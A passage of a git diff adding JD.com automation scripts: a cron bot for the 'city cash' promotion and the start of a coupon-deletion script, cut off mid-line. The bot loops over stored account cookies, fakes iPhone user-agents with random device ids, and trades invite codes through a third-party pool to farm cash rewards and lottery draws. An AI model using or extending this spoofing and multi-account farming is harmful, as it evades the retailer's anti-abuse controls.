0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_city.js b/backUp/jd_city.js new file mode 100644 index 0000000000..3850c4415e --- /dev/null +++ b/backUp/jd_city.js @@ -0,0 +1,696 @@ +/* +城城领现金 +活动时间:2021-10-20到2021-10-30 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#城城领现金 +0 0-23/1 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_city.js, tag=城城领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0-23/1 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_city.js,tag=城城领现金 + +===================================Surge================================ +城城领现金 = type=cron,cronexp="0 0-23/1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_city.js + +====================================小火箭============================= +城城领现金 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_city.js, cronexpr="0 0-23/1 * * *", timeout=3600, enable=true + */ +const $ = new Env('城城领现金'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//自动抽奖 ,环境变量 JD_CITY_EXCHANGE +let exchangeFlag = $.isNode() ? (process.env.JD_CITY_EXCHANGE === "true" ? true : false) : ($.getdata('jdJxdExchange') === "true" ? true : false) //是否开启自动抽奖,建议活动快结束开启,默认关闭 +let helpPool = $.isNode() ? (process.env.JD_CITY_HELPPOOL === "false" ? false : true) : ($.getdata('JD_CITY_HELPPOOL') === "false" ? false : true) //是否全部助力助力池开关,默认开启 +let cookiesArr = [], cookie = '', message; +let uuid, UA, shareCodesSelf=[], shareCodes; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (exchangeFlag) { + console.log(`脚本自动抽奖`) + } else { + console.log(`脚本不会自动抽奖,建议活动快结束开启,默认关闭(在10.29日自动开启抽奖),如需自动抽奖请设置环境变量 JD_CITY_EXCHANGE 为true`); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + uuid = UA.split(';')[4] + await getInfo('', true); + await $.wait(1000) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + uuid = UA.split(';')[4] + let codes = await readShareCode(); + shareCodes = [...shareCodesSelf, ...codes.data] + for (let j = 0; j < shareCodes.length; j++) { + console.log(helpPool ? `\n${$.UserName} 开始助力 助力池 【${shareCodes[j]}】` : i === 0 ? `\nCK1 ${$.UserName} 开始助力 助力池 【${shareCodes[j]}】` : `\n${$.UserName} 开始助力 【${shareCodes[j]}】`) + await $.wait(1000) + let res = await getInfo(shareCodes[j]) + if (res && res['data'] && res['data']['bizCode'] === 0) { + if (res['data']['result']['toasts'] && res['data']['result']['toasts'][0] && res['data']['result']['toasts'][0]['status'] === '3') { + console.log(`助力次数已耗尽,跳出`) + break + } + if (res['data']['result']['toasts']) { + if (res['data']['result']['toasts'][0]) { + console.log(`助力 【${shareCodes[j]}】:${res.data.result.toasts[0].msg}`) + } else { + console.log(`未知错误,跳出`) + break + } + } + } + if ((res && res['status'] && res['status'] === '3') || (res && res.data && res.data.bizCode === -11)) { + // 助力次数耗尽 || 黑号 + break + } + } + await $.wait(1000) + await getInviteInfo();//雇佣 + if (exchangeFlag) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } else { + //默认10.29开启抽奖 + if ((new Date().getMonth() + 1) === 10 && new Date().getDate() >= 29) { + const res = await city_lotteryAward();//抽奖 + if (res && res > 0) { + for (let i = 0; i < new Array(res).fill('').length; i++) { + await $.wait(1000) + await city_lotteryAward();//抽奖 + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function getInfo(inviteId, flag = false) { + let body = {"lbsCity": "1", "realLbsCity": "2953", "inviteId": inviteId, "headImg": "", "userName": "", "taskChannel": "1"} + return new Promise((resolve) => { + $.post(taskPostUrl("city_getHomeData", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data && data['data']['bizCode'] === 0) { + if (flag) { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data && data.data.result.userActBaseInfo.inviteId}`); + if (data.data && data.data.result.userActBaseInfo.inviteId) { + shareCodesSelf.push(data.data.result.userActBaseInfo.inviteId) + } + console.log(`剩余金额:${data.data.result.userActBaseInfo.poolMoney}`) + for (let pop of data.data.result.popWindows || []) { + if (pop.data.cash && (pop.data.cash !== data.data.result.userActBaseInfo.poolMoney)) { + await receiveCash("", "2"); + } + } + const {taskDetailResultVo} = data.data.result.taskInfo; + const {lotteryTaskVos, taskVos} = taskDetailResultVo; + for (let lotteryTask of lotteryTaskVos) { + if (lotteryTask.times >= lotteryTask.maxTimes && lotteryTask.times !== undefined) { + for (let lo of lotteryTask?.badgeAwardVos || []) { + if (lo.status === 3) { + await receiveCash("", "6"); + } + } + } + } + // for (let task of taskVos || []) { + // const t = Date.now(); + // if (task.status === 1 && t >= task.taskBeginTime && t < task.taskEndTime) { + // const id = task.taskId, max = task.maxTimes; + // const waitDuration = task.waitDuration || 0; + // let time = task?.times || 0; + // for (let ltask of task.shoppingActivityVos) { + // if (ltask.status === 1) { + // console.log(`去做任务:${ltask.title}`); + // if (waitDuration) { + // await $.wait(1500); + // await city_doTaskByTk(id, ltask.taskToken, 1); + // await $.wait(waitDuration * 1000); + // } + // await city_doTaskByTk(id, ltask.taskToken); + // time++; + // if (time >= max) break; + // } + // } + // await $.wait(2500); + // } + // } + } + for (let vo of data.data.result && data.data.result.mainInfos || []) { + if (vo && vo.remaingAssistNum === 0 && vo.status === "1") { + console.log(vo.roundNum) + await receiveCash(vo.roundNum) + await $.wait(2 * 1000) + } + } + } else { + console.log(`\n\n${inviteId ? '助力好友' : '获取邀请码'}失败:${data.data.bizMsg}`) + if (flag) { + if (data.data && !data.data.result.userActBaseInfo.inviteId) { + console.log(`账号已黑,看不到邀请码\n`); + } + } + } + } else { + console.log(`\n\ncity_getHomeData失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function receiveCash(roundNum, type = '') { + let body = {"cashType": 1, "roundNum": roundNum} + if (type) body = {"cashType": type} + return new Promise((resolve) => { + $.post(taskPostUrl("city_receiveCash", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`领红包结果${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + console.log(`获得 ${data.data.result.currentTimeCash} 元,共计 ${data.data.result.totalCash} 元`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getInviteInfo() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_masterMainData", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && (data.code === 0 && data.data.bizCode === 0)) { + if (data.data.result.masterData.actStatus === 2) { + await receiveCash("", "4") + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function city_lotteryAward() { + let body = {} + return new Promise((resolve) => { + $.post(taskPostUrl("city_lotteryAward", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`抽奖结果:${data}`); + data = JSON.parse(data); + if (data['data']['bizCode'] === 0) { + const lotteryNum = data['data']['result']['lotteryNum']; + resolve(lotteryNum); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(functionId, body) { + return { + url: JD_API_HOST, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0&uuid=${uuid}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://bunearth.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": UA, + "Referer": "https://bunearth.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/city/30`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_delCoupon.js b/backUp/jd_delCoupon.js new file mode 100644 index 0000000000..25820e2fbd --- /dev/null +++ b/backUp/jd_delCoupon.js @@ -0,0 +1,236 @@ +/* +活动入口:京东APP我的-优惠券 +脚本:删除优惠券 +更新时间:2021-01-21 +说明:1、删除优惠券名称中不含“京东”、“超市”、“生鲜”关键字的券;2、删除优惠券名称中含“XX旗舰店”的券;3、已删除的券可以在回收站中还原 + */ +const $ = new Env('删除优惠券'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多少个已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消多少个已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +let delCount = 0; +let hasKeyword = 0; // 包含关键词的券 +const JD_API_HOST = 'https://wq.jd.com/'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】删除优惠券失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getCoupon(); + await 